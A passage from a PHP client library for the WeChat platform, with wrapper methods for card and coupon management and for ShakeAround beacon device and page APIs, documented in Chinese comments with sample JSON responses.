                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return true;

        }

        return false;

    }

    /**

     * 删除卡券

     * 允许商户删除任意一类卡券。删除卡券后，该卡券对应已生成的领取用二维码、添加到卡包 JS API 均会失效。

     * 注意：删除卡券不能删除已被用户领取，保存在微信客户端中的卡券，已领取的卡券依旧有效。

     * @param string $card_id 卡券ID

     * @return boolean

     */

    public function delCard($card_id) {

        $data = array(

            'card_id' => $card_id,

        );

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_DELETE . 'access_token=' . $this->access_token, self::json_encode($data));

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return true;

        }

        return false;

    }

    /**

     * 查询卡券详情

     * @param string $card_id

     * @return boolean|array    返回数组信息比较复杂，请参看卡券接口文档

     */

    public function getCardInfo($card_id) {

        $data = array(

            'card_id' => $card_id,

        );

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_GET . 'access_token=' . $this->access_token, self::json_encode($data));

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * 获取颜色列表

	 * 获得卡券的最新颜色列表，用于创建卡券

	 * @return boolean|array   返回数组请参看 微信卡券接口文档 的json格式

     */

    public function getCardColors() {

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_get(self::API_BASE_URL_PREFIX . self::CARD_GETCOLORS . 'access_token=' . $this->access_token);

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * 拉取门店列表

	 * 获取在公众平台上申请创建的门店列表

	 * @param int $offset  开始拉取的偏移，默认为0从头开始

	 * @param int $count   拉取的数量，默认为0拉取全部

	 * @return boolean|array   返回数组请参看 微信卡券接口文档 的json格式

     */

    public function getCardLocations($offset=0,$count=0) {

	    $data=array(

	    	'offset'=>$offset,

	        'count'=>$count

	    );

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_LOCATION_BATCHGET . 'access_token=' . $this->access_token, self::json_encode($data));

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * 批量导入门店信息

	 * @tutorial 返回插入的门店id列表，以逗号分隔。如果有插入失败的，则为-1，请自行核查是哪个插入失败

	 * @param array $data    数组形式的json数据，由于内容较多，具体内容格式请查看 微信卡券接口文档

	 * @return boolean|string 成功返回插入的门店id列表

     */

    public function addCardLocations($data) {

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_LOCATION_BATCHADD . 'access_token=' . $this->access_token, self::json_encode($data));

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * 生成卡券二维码

	 * 成功则直接返回ticket值，可以用 getQRUrl($ticket) 换取二维码url

	 *

	 * @param string $cardid 卡券ID 必须

	 * @param string $code 指定卡券 code 码，只能被领一次。use_custom_code 字段为 true 的卡券必须填写，非自定义 code 不必填写。

	 * @param string $openid 指定领取者的 openid，只有该用户能领取。bind_openid 字段为 true 的卡券必须填写，非自定义 openid 不必填写。

	 * @param int $expire_seconds 指定二维码的有效时间，范围是 60 ~ 1800 秒。不填默认为永久有效。

	 * @param boolean $is_unique_code 指定下发二维码，生成的二维码随机分配一个 code，领取后不可再次扫描。填写 true 或 false。默认 false。

	 * @param string $balance 红包余额，以分为单位。红包类型必填（LUCKY_MONEY），其他卡券类型不填。

     * @return boolean|string

     */

    public function createCardQrcode($card_id,$code='',$openid='',$expire_seconds=0,$is_unique_code=false,$balance='') {

        $card = array(

            'card_id' => $card_id

        );

        $data = array(

            'action_name' => "QR_CARD"

        );

        if ($code)

            $card['code'] = $code;

        if ($openid)

            $card['openid'] = $openid;

        if ($is_unique_code)

            $card['is_unique_code'] = $is_unique_code;

        if ($balance)

            $card['balance'] = $balance;

        if ($expire_seconds)

            $data['expire_seconds'] = $expire_seconds;

        $data['action_info'] = array('card' => $card);

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_QRCODE_CREATE . 'access_token=' . $this->access_token, self::json_encode($data));

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * 消耗 code

     * 自定义 code（use_custom_code 为 true）的优惠券，在 code 被核销时，必须调用此接口。

     *

     * @param string $code 要消耗的序列号

     * @param string $card_id 要消耗序列号所述的 card_id，创建卡券时use_custom_code 填写 true 时必填。

     * @return boolean|array

     * {

     *  "errcode":0,

     *  "errmsg":"ok",

     *  "card":{"card_id":"pFS7Fjg8kV1IdDz01r4SQwMkuCKc"},

     *  "openid":"oFS7Fjl0WsZ9AMZqrI80nbIq8xrA"

     * }

     */

    public function consumeCardCode($code,$card_id='') {

        $data = array('code' => $code);

        if ($card_id)

            $data['card_id'] = $card_id;

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_CODE_CONSUME . 'access_token=' . $this->access_token, self::json_encode($data));

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * code 解码

     * @param string $encrypt_code 通过 choose_card_info 获取的加密字符串

     * @return boolean|array

     * {

     *  "errcode":0,

     *  "errmsg":"ok",

     *  "code":"751234212312"

     *  }

     */

    public function decryptCardCode($encrypt_code) {

        $data = array(

            'encrypt_code' => $encrypt_code,

        );

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_CODE_DECRYPT . 'access_token=' . $this->access_token, self::json_encode($data));

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * 查询 code 的有效性（非自定义 code）

     * @param string $code

     * @return boolean|array

     * {

     *  "errcode":0,

     *  "errmsg":"ok",

     *  "openid":"oFS7Fjl0WsZ9AMZqrI80nbIq8xrA",    //用户 openid

     *  "card":{

     *      "card_id":"pFS7Fjg8kV1IdDz01r4SQwMkuCKc",

     *      "begin_time": 1404205036,               //起始使用时间

     *      "end_time": 1404205036,                 //结束时间

     *  }

     * }

     */

    public function checkCardCode($code) {

        $data = array(

            'code' => $code,

        );

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_CODE_GET . 'access_token=' . $this->access_token, self::json_encode($data));

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * 批量查询卡列表

	 * @param $offset  开始拉取的偏移，默认为0从头开始

	 * @param $count   需要查询的卡片的数量（数量最大50,默认50）

     * @return boolean|array

     * {

     *  "errcode":0,

     *  "errmsg":"ok",

     *  "card_id_list":["ph_gmt7cUVrlRk8swPwx7aDyF-pg"],    //卡 id 列表

     *  "total_num":1                                       //该商户名下 card_id 总数

     * }

     */

    public function getCardIdList($offset=0,$count=50) {

        if ($count>50)

            $count = 50;

        $data = array(

            'offset' => $offset,

            'count'  => $count,

        );

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_BATCHGET . 'access_token=' . $this->access_token, self::json_encode($data));

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * 更改 code

     * 为确保转赠后的安全性，微信允许自定义code的商户对已下发的code进行更改。

     * 注：为避免用户疑惑，建议仅在发生转赠行为后（发生转赠后，微信会通过事件推送的方式告知商户被转赠的卡券code）对用户的code进行更改。

     * @param string $code      卡券的 code 编码

     * @param string $card_id   卡券 ID

     * @param string $new_code  新的卡券 code 编码

     * @return boolean

     */

    public function updateCardCode($code,$card_id,$new_code) {

        $data = array(

            'code' => $code,

            'card_id' => $card_id,

            'new_code' => $new_code,

        );

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_CODE_UPDATE . 'access_token=' . $this->access_token, self::json_encode($data));

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return true;

        }

        return false;

    }

    /**

     * 设置卡券失效

     * 设置卡券失效的操作不可逆

     * @param string $code 需要设置为失效的 code

     * @param string $card_id 自定义 code 的卡券必填。非自定义 code 的卡券不填。

     * @return boolean

     */

    public function unavailableCardCode($code,$card_id='') {

        $data = array(

            'code' => $code,

        );

        if ($card_id)

            $data['card_id'] = $card_id;

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_CODE_UNAVAILABLE . 'access_token=' . $this->access_token, self::json_encode($data));

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return true;

        }

        return false;

    }

    /**

     * 库存修改

     * @param string $data

     * @return boolean

     */

    public function modifyCardStock($data) {

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_MODIFY_STOCK . 'access_token=' . $this->access_token, self::json_encode($data));

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return true;

        }

        return false;

    }

    /**

     * 更新门票

     * @param string $data

     * @return boolean

     */

    public function updateMeetingCard($data) {

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_MEETINGCARD_UPDATEUSER . 'access_token=' . $this->access_token, self::json_encode($data));

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return true;

        }

        return false;

    }

    /**

     * 激活/绑定会员卡

     * @param string $data 具体结构请参看卡券开发文档(6.1.1 激活/绑定会员卡)章节

     * @return boolean

     */

    public function activateMemberCard($data) {

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_MEMBERCARD_ACTIVATE . 'access_token=' . $this->access_token, self::json_encode($data));

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return true;

        }

        return false;

    }

    /**

     * 会员卡交易

     * 会员卡交易后每次积分及余额变更需通过接口通知微信，便于后续消息通知及其他扩展功能。

     * @param string $data 具体结构请参看卡券开发文档(6.1.2 会员卡交易)章节

     * @return boolean|array

     */

    public function updateMemberCard($data) {

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_MEMBERCARD_UPDATEUSER . 'access_token=' . $this->access_token, self::json_encode($data));

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * 更新红包金额

     * @param string $code      红包的序列号

     * @param $balance          红包余额

     * @param string $card_id   自定义 code 的卡券必填。非自定义 code 可不填。

     * @return boolean|array

     */

    public function updateLuckyMoney($code,$balance,$card_id='') {

        $data = array(

                'code' => $code,

                'balance' => $balance

        );

        if ($card_id)

            $data['card_id'] = $card_id;

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_LUCKYMONEY_UPDATE . 'access_token=' . $this->access_token, self::json_encode($data));

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return true;

        }

        return false;

    }

    /**

     * 设置卡券测试白名单

     * @param string $openid    测试的 openid 列表

     * @param string $user      测试的微信号列表

     * @return boolean

     */

    public function setCardTestWhiteList($openid=array(),$user=array()) {

        $data = array();

        if (count($openid) > 0)

            $data['openid'] = $openid;

        if (count($user) > 0)

            $data['username'] = $user;

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_TESTWHILELIST_SET . 'access_token=' . $this->access_token, self::json_encode($data));

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return true;

        }

        return false;

    }

    /**

     * 申请设备ID

     * [applyShakeAroundDevice 申请配置设备所需的UUID、Major、Minor。

     * 若激活率小于50%，不能新增设备。单次新增设备超过500 个，需走人工审核流程。

     * 审核通过后，可用迒回的批次ID 用“查询设备列表”接口拉取本次申请的设备ID]

     * @param array $data

     * array(

     *      "quantity" => 3,         //申请的设备ID 的数量，单次新增设备超过500 个,需走人工审核流程(必填)

     *      "apply_reason" => "测试",//申请理由(必填)

     *      "comment" => "测试专用", //备注(非必填)

     *      "poi_id" => 1234         //设备关联的门店ID(非必填)

     * )

     * @return boolean|mixed

     * {

        "data": {

            "apply_id": 123,

            "device_identifiers":[

            {

            "device_id":10100,

            "uuid":"FDA50693-A4E2-4FB1-AFCF-C6EB07647825",

            "major":10001,

            "minor":10002

            }

            ]

        },

        "errcode": 0,

        "errmsg": "success."

        }

        apply_id:申请的批次ID，可用在“查询设备列表”接口按批次查询本次申请成功的设备ID

        device_identifiers:指定的设备ID 列表

        device_id:设备编号

        uuid、major、minor

        audit_status:审核状态。0：审核未通过、1：审核中、2：审核已通过；审核会在三个工作日内完成

        audit_comment:审核备注，包括审核不通过的原因

     * @access public

     * @author polo<gao.bo168@gmail.com>

     * @version 2015-3-25 下午1:24:06

     * @copyright Show More

     */

    public function applyShakeAroundDevice($data){

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_DEVICE_APPLYID . 'access_token=' . $this->access_token, self::json_encode($data));

        $this->log($result);

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * 编辑设备信息

     * [updateShakeAroundDevice 编辑设备的备注信息。可用设备ID或完整的UUID、Major、Minor指定设备，二者选其一。]

     * @param array $data

     * array(

     *      "device_identifier" => array(

     *          		"device_id" => 10011,   //当提供了device_id则不需要使用uuid、major、minor，反之亦然

     *          		"uuid" => "FDA50693-A4E2-4FB1-AFCF-C6EB07647825",

     *          		"major" => 1002,

     *          		"minor" => 1223

     *      ),

     *      "comment" => "测试专用", //备注(非必填)

     * )

     * {

        "data": {

        },

        "errcode": 0,

        "errmsg": "success."

       }

     * @return boolean

     * @author binsee<binsee@163.com>

     * @version 2015-4-20 23:45:00

     */

    public function updateShakeAroundDevice($data){

    	if (!$this->access_token && !$this->checkAuth()) return false;

    	$result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_DEVICE_UPDATE . 'access_token=' . $this->access_token, self::json_encode($data));

    	$this->log($result);

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return true;

        }

        return false;

    }

    /**

     * 查询设备列表

     * [searchShakeAroundDevice 查询已有的设备ID、UUID、Major、Minor、激活状态、备注信息、关联门店、关联页面等信息。

     * 可指定设备ID 或完整的UUID、Major、Minor 查询，也可批量拉取设备信息列表。]

     * @param array $data

     * $data 三种格式:

     * ①查询指定设备时：$data = array(

     *                              "device_identifiers" => array(

     *                                                          array(

     *                                                              "device_id" => 10100,

     *                                                              "uuid" => "FDA50693-A4E2-4FB1-AFCF-C6EB07647825",

     *                                                              "major" => 10001,

     *                                                              "minor" => 10002

     *                                                          )

     *                                                      )

     *                              );

     * device_identifiers:指定的设备

     * device_id:设备编号，若填了UUID、major、minor，则可不填设备编号，若二者都填，则以设备编号为优先

     * uuid、major、minor:三个信息需填写完整，若填了设备编号，则可不填此信息

     * +-------------------------------------------------------------------------------------------------------------

     * ②需要分页查询或者指定范围内的设备时: $data = array(

     *                                                  "begin" => 0,

     *                                                  "count" => 3

     *                                               );

     * begin:设备列表的起始索引值

     * count:待查询的设备个数

     * +-------------------------------------------------------------------------------------------------------------

     * ③当需要根据批次ID 查询时: $data = array(

     *                                      "apply_id" => 1231,

     *                                      "begin" => 0,

     *                                      "count" => 3

     *                                    );

     * apply_id:批次ID

     * +-------------------------------------------------------------------------------------------------------------

     * @return boolean|mixed

     *正确迒回JSON 数据示例：

     *字段说明

        {

            "data": {

                "devices": [          //指定的设备信息列表

                    {

                        "comment": "", //设备的备注信息

                        "device_id": 10097, //设备编号

                        "major": 10001,

                        "minor": 12102,

                        "page_ids": "15369", //与此设备关联的页面ID 列表，用逗号隔开

                        "status": 1, //激活状态，0：未激活，1：已激活（但不活跃），2：活跃

                        "poi_id": 0, //门店ID

                        "uuid": "FDA50693-A4E2-4FB1-AFCF-C6EB07647825"

                    },

                    {

                        "comment": "", //设备的备注信息

                        "device_id": 10098, //设备编号

                        "major": 10001,

                        "minor": 12103,

                        "page_ids": "15368", //与此设备关联的页面ID 列表，用逗号隔开

                        "status": 1, //激活状态，0：未激活，1：已激活（但不活跃），2：活跃

                        "poi_id": 0, //门店ID

                        "uuid": "FDA50693-A4E2-4FB1-AFCF-C6EB07647825"

                    }

                ],

                "total_count": 151 //商户名下的设备总量

            },

            "errcode": 0,

            "errmsg": "success."

        }

     * @access public

     * @author polo<gao.bo168@gmail.com>

     * @version 2015-3-25 下午1:45:42

     * @copyright Show More

     */

    public function searchShakeAroundDevice($data){

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_DEVICE_SEARCH . 'access_token=' . $this->access_token, self::json_encode($data));

        $this->log($result);

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * [bindLocationShakeAroundDevice 配置设备与门店的关联关系]

     * @param string $device_id 设备编号，若填了UUID、major、minor，则可不填设备编号，若二者都填，则以设备编号为优先

     * @param int $poi_id 待关联的门店ID

     * @param string $uuid UUID、major、minor，三个信息需填写完整，若填了设备编号，则可不填此信息

     * @param int $major

     * @param int $minor

     * @return boolean|mixed

     * 正确返回JSON 数据示例:

     * {

        "data": {

        },

        "errcode": 0,

        "errmsg": "success."

       }

     * @access public

     * @author polo<gao.bo168@gmail.com>

     * @version 2015-4-21 00:14:00

     * @copyright Show More

     */

    public function bindLocationShakeAroundDevice($device_id,$poi_id,$uuid='',$major=0,$minor=0){

        if (!$this->access_token && !$this->checkAuth()) return false;

        if(!$device_id){

            if(!$uuid || !$major || !$minor){

                return false;

            }

            $device_identifier = array(

                'uuid' => $uuid,

                'major' => $major,

                'minor' => $minor

            );

        }else{

            $device_identifier = array(

                'device_id' => $device_id

            );

        }

        $data = array(

            'device_identifier' => $device_identifier,

            'poi_id' => $poi_id

        );

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_DEVICE_BINDLOCATION . 'access_token=' . $this->access_token, self::json_encode($data));

        $this->log($result);

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json; //这个可以更改为返回true

        }

        return false;

    }

    /**

     * [bindPageShakeAroundDevice 配置设备与页面的关联关系。

     * 支持建立或解除关联关系，也支持新增页面或覆盖页面等操作。

     * 配置完成后，在此设备的信号范围内，即可摇出关联的页面信息。

     * 若设备配置多个页面，则随机出现页面信息]

     * @param string $device_id 设备编号，若填了UUID、major、minor，则可不填设备编号，若二者都填，则以设备编号为优先

     * @param array $page_ids 待关联的页面列表

     * @param number $bind 关联操作标志位， 0 为解除关联关系，1 为建立关联关系

     * @param number $append 新增操作标志位， 0 为覆盖，1 为新增

     * @param string $uuid UUID、major、minor，三个信息需填写完整，若填了设备编号，则可不填此信息

     * @param int $major

     * @param int $minor

     * @return boolean|mixed

     * 正确返回JSON 数据示例:

     * {

        "data": {

        },

        "errcode": 0,

        "errmsg": "success."

       }

     * @access public

     * @author polo<gao.bo168@gmail.com>

     * @version 2015-4-21 00:31:00

     * @copyright Show More

     */

    public function bindPageShakeAroundDevice($device_id,$page_ids=array(),$bind=1,$append=1,$uuid='',$major=0,$minor=0){

        if (!$this->access_token && !$this->checkAuth()) return false;

        if(!$device_id){

            if(!$uuid || !$major || !$minor){

                return false;

            }

            $device_identifier = array(

                'uuid' => $uuid,

                'major' => $major,

                'minor' => $minor

            );

        }else{

            $device_identifier = array(

                'device_id' => $device_id

            );

        }

        $data = array(

            'device_identifier' => $device_identifier,

            'page_ids' => $page_ids,

            'bind' => $bind,

            'append' => $append

        );

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_DEVICE_BINDPAGE . 'access_token=' . $this->access_token, self::json_encode($data));

        $this->log($result);

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * 上传在摇一摇页面展示的图片素材

     * 注意：数组的键值任意，但文件名前必须加@，使用单引号以避免本地路径斜杠被转义

     * @param array $data {"media":'@Path\filename.jpg'} 格式限定为：jpg,jpeg,png,gif，图片大小建议120px*120 px，限制不超过200 px *200 px，图片需为正方形。

     * @return boolean|array

     * {

        "data": {

            "pic_url":"http://shp.qpic.cn/wechat_shakearound_pic/0/1428377032e9dd2797018cad79186e03e8c5aec8dc/120"

        },

            "errcode": 0,

            "errmsg": "success."

        }

       }

     * @author binsee<binsee@163.com>

     * @version 2015-4-21 00:51:00

     */

    public function uploadShakeAroundMedia($data){

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_URL_PREFIX.self::SHAKEAROUND_MATERIAL_ADD.'access_token='.$this->access_token,$data,true);

        if ($result)

        {

            $json = json_decode($result,true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * [addShakeAroundPage 增加摇一摇出来的页面信息，包括在摇一摇页面出现的主标题、副标题、图片和点击进去的超链接。]

     * @param string $title 在摇一摇页面展示的主标题，不超过6 个字

     * @param string $description 在摇一摇页面展示的副标题，不超过7 个字

     * @param sting $icon_url 在摇一摇页面展示的图片， 格式限定为：jpg,jpeg,png,gif; 建议120*120 ， 限制不超过200*200

     * @param string $page_url 跳转链接

     * @param string $comment 页面的备注信息，不超过15 个字,可不填

     * @return boolean|mixed

     * 正确返回JSON 数据示例:

     * {

        "data": {

            "page_id": 28840 //新增页面的页面id

        }

        "errcode": 0,

        "errmsg": "success."

       }

     * @access public

     * @author polo<gao.bo168@gmail.com>

     * @version 2015-3-25 下午2:57:09

     * @copyright Show More

     */

    public function addShakeAroundPage($title,$description,$icon_url,$page_url,$comment=''){

        if (!$this->access_token && !$this->checkAuth()) return false;

        $data = array(

            "title" => $title,

            "description" => $description,

            "icon_url" => $icon_url,

            "page_url" => $page_url,

            "comment" => $comment

        );

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_PAGE_ADD . 'access_token=' . $this->access_token, self::json_encode($data));

        $this->log($result);

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * [updateShakeAroundPage 编辑摇一摇出来的页面信息，包括在摇一摇页面出现的主标题、副标题、图片和点击进去的超链接。]

     * @param int $page_id

     * @param string $title 在摇一摇页面展示的主标题，不超过6 个字

     * @param string $description 在摇一摇页面展示的副标题，不超过7 个字

     * @param sting $icon_url 在摇一摇页面展示的图片， 格式限定为：jpg,jpeg,png,gif; 建议120*120 ， 限制不超过200*200

     * @param string $page_url 跳转链接

     * @param string $comment 页面的备注信息，不超过15 个字,可不填

     * @return boolean|mixed

     * 正确返回JSON 数据示例:

     * {

        "data": {

            "page_id": 28840 //编辑页面的页面ID

        }

        "errcode": 0,

        "errmsg": "success."

       }

     * @access public

     * @author polo<gao.bo168@gmail.com>

     * @version 2015-3-25 下午3:02:51

     * @copyright Show More

     */

    public function updateShakeAroundPage($page_id,$title,$description,$icon_url,$page_url,$comment=''){

        if (!$this->access_token && !$this->checkAuth()) return false;

        $data = array(

            "page_id" => $page_id,

            "title" => $title,

            "description" => $description,

            "icon_url" => $icon_url,

            "page_url" => $page_url,

            "comment" => $comment

        );

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_PAGE_UPDATE . 'access_token=' . $this->access_token, self::json_encode($data));

        $this->log($result);

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * [searchShakeAroundPage 查询已有的页面，包括在摇一摇页面出现的主标题、副标题、图片和点击进去的超链接。

     * 提供两种查询方式，①可指定页面ID 查询，②也可批量拉取页面列表。]

     * @param array $page_ids

     * @param int $begin

     * @param int $count

     * ①需要查询指定页面时:

     * {

        "page_ids":[12345, 23456, 34567]

       }

     * +-------------------------------------------------------------------------------------------------------------

     * ②需要分页查询或者指定范围内的页面时:

     * {

        "begin": 0,

        "count": 3

       }

     * +-------------------------------------------------------------------------------------------------------------

     * @return boolean|mixed

     * 正确返回JSON 数据示例:

        {

            "data": {

                "pages": [

                    {

                        "comment": "just for test",

                        "description": "test",

                        "icon_url": "https://www.baidu.com/img/bd_logo1.png",

                        "page_id": 28840,

                        "page_url": "http://xw.qq.com/testapi1",

                        "title": "测试1"

                    },

                    {

                        "comment": "just for test",

                        "description": "test",

                        "icon_url": "https://www.baidu.com/img/bd_logo1.png",

                        "page_id": 28842,

                        "page_url": "http://xw.qq.com/testapi2",

                        "title": "测试2"

                    }

                    ],

                "total_count": 2

            },

            "errcode": 0,

            "errmsg": "success."

        }

     *字段说明:

     *total_count 商户名下的页面总数

     *page_id 摇周边页面唯一ID

     *title 在摇一摇页面展示的主标题

     *description 在摇一摇页面展示的副标题

     *icon_url 在摇一摇页面展示的图片

     *page_url 跳转链接

     *comment 页面的备注信息

     * @access public

     * @author polo<gao.bo168@gmail.com>

     * @version 2015-3-25 下午3:12:17

     * @copyright Show More

     */

    public function searchShakeAroundPage($page_ids=array(),$begin=0,$count=1){

        if (!$this->access_token && !$this->checkAuth()) return false;

        if(!empty($page_ids)){

            $data = array(

                'page_ids' => $page_ids

            );

        }else{

            $data = array(

                'begin' => $begin,

                'count' => $count

            );

        }

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_PAGE_SEARCH . 'access_token=' . $this->access_token, self::json_encode($data));

        $this->log($result);

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * [deleteShakeAroundPage 删除已有的页面，包括在摇一摇页面出现的主标题、副标题、图片和点击进去的超链接。

     * 只有页面与设备没有关联关系时，才可被删除。]

     * @param array $page_ids

     * {

        "page_ids":[12345,23456,34567]

       }

     * @return boolean|mixed

     * 正确返回JSON 数据示例:

     * {

        "data": {

        },

        "errcode": 0,

        "errmsg": "success."

       }

     * @access public

     * @author polo<gao.bo168@gmail.com>

     * @version 2015-3-25 下午3:23:00

     * @copyright Show More

     */

    public function deleteShakeAroundPage($page_ids=array()){

        if (!$this->access_token && !$this->checkAuth()) return false;

        $data = array(

            'page_ids' => $page_ids

        );

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_PAGE_DELETE . 'access_token=' . $this->access_token, self::json_encode($data));

